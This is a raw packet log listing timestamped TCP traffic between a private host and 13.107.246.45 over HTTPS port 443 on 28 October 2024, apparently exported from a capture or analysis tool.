Oct 28, 2024 08:18:20.897012949 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.897114992 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.897125006 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.902534962 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.902596951 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.902666092 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.902779102 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.902795076 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.902807951 CET	49855	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.902812958 CET	443	49855	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.905010939 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.905065060 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:20.905157089 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.905284882 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:20.905301094 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.592755079 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.593406916 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.593447924 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.593951941 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.593961000 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.621670961 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.622474909 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.622497082 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.622946024 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.622951031 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.639553070 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.640031099 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.640069962 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.640472889 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.640484095 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.642400980 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.642750025 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.642769098 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.643127918 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.643134117 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.643309116 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.643577099 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.643587112 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.643913984 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.643918037 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.726739883 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.727813005 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.731992006 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.732043028 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.732043028 CET	49859	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.732069969 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.732088089 CET	443	49859	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.734730959 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.734819889 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.734926939 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.735078096 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.735100031 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.750864983 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.750950098 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.751046896 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.751257896 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.751286030 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.751302958 CET	49860	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.751318932 CET	443	49860	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.753612995 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.753667116 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.753751040 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.753881931 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.753900051 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.770672083 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.770760059 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.770853996 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.771064997 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.771064997 CET	49863	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.771111012 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.771142006 CET	443	49863	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.773397923 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.773433924 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.773516893 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.773652077 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.773667097 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.774483919 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775379896 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775434017 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775440931 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775501013 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775527954 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775547028 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775547028 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775561094 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775583029 CET	49861	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775595903 CET	443	49861	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775652885 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775677919 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775692940 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.775710106 CET	49862	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.775715113 CET	443	49862	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.777652979 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.777693033 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.777757883 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.777759075 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.777790070 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.777867079 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.777882099 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:21.777920961 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.778249979 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:21.778265953 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.493300915 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.493772030 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.493829012 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.494245052 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.494256973 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.497064114 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.497838020 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.497864008 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.498240948 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.498246908 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.508480072 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.508838892 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.508846998 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.509217024 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.509222031 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.513170958 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.513495922 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.513508081 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.513936996 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.513942003 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.544024944 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.544486046 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.544511080 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.544919014 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.544924021 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.623400927 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.623492002 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.623588085 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.623992920 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.624017000 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.624031067 CET	49866	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.624037027 CET	443	49866	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.627791882 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.627825975 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.627921104 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.628102064 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.628112078 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.630250931 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.630322933 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.630378008 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.630469084 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.630490065 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.630502939 CET	49865	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.630506992 CET	443	49865	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.632669926 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.632698059 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.632778883 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.632927895 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.632940054 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.640196085 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.640254021 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.640300035 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.640431881 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.640435934 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.640444994 CET	49867	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.640448093 CET	443	49867	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.642626047 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.642638922 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.642713070 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.642843962 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.642852068 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.644834042 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.644934893 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.645066023 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.645073891 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.645153999 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.645158052 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.645195961 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.645195961 CET	49868	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.645205021 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.645220041 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.645231962 CET	443	49868	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.647039890 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.647058964 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.647135019 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.647268057 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.647279024 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672369003 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672509909 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672590017 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.672652006 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672688961 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672760963 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.672817945 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.672817945 CET	49864	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.672852039 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.672874928 CET	443	49864	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.675472021 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.675515890 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:22.675612926 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.675779104 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:22.675802946 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.372214079 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.372950077 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.372961998 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.373215914 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.373230934 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.382550955 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.382987022 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.383011103 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.383465052 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.383471012 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.385513067 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.385904074 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.385936975 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.386306047 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.386311054 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.392117023 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.392498970 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.392504930 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.392899036 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.392901897 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.424701929 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.425218105 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.425242901 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.425791979 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.425796986 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.503647089 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.503729105 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.503783941 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.504163027 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.504163027 CET	49870	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.504184008 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.504195929 CET	443	49870	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.506968975 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.507009029 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.507098913 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.507277012 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.507288933 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.520101070 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.520157099 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.520212889 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.520411015 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.520423889 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.520448923 CET	49869	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.520453930 CET	443	49869	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.522934914 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.522954941 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.523042917 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.523194075 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.523204088 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.524727106 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.524878979 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.524923086 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.524952888 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.524961948 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.524974108 CET	49871	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.524977922 CET	443	49871	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.526907921 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.526932001 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.527148008 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.527148008 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.527169943 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.531692028 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.531727076 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.531791925 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.531794071 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.531838894 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.532008886 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.532023907 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.532035112 CET	49872	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.532040119 CET	443	49872	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.534147978 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.534183979 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.534392118 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.534393072 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.534429073 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.555597067 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.555733919 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.555805922 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.555923939 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.555932045 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.555943012 CET	49873	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.555946112 CET	443	49873	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.558578014 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.558605909 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:23.558680058 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.558815002 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:23.558825970 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.240187883 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.240699053 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.240744114 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.241168976 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.241175890 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.251121998 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.259583950 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.261590004 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.261620045 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.262907028 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.262912989 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.263863087 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.263921976 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.264792919 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.264806032 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.267065048 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.267678022 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.267692089 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.268551111 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.268558025 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.293203115 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.293603897 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.293615103 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.294028997 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.294034004 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.369893074 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.369966030 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.370011091 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.370032072 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.370074034 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.370232105 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.370258093 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.370274067 CET	49874	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.370280981 CET	443	49874	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.373011112 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.373048067 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.373130083 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.373300076 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.373312950 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.388014078 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.388221979 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.388283968 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.388309956 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.388328075 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.388339996 CET	49876	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.388346910 CET	443	49876	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.390275002 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.390311003 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.390389919 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.390510082 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.390518904 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.391033888 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.391222000 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.391305923 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.391305923 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.391397953 CET	49875	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.391434908 CET	443	49875	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.393062115 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.393099070 CET	443	49881	13.107.246.45	192.168.2.4
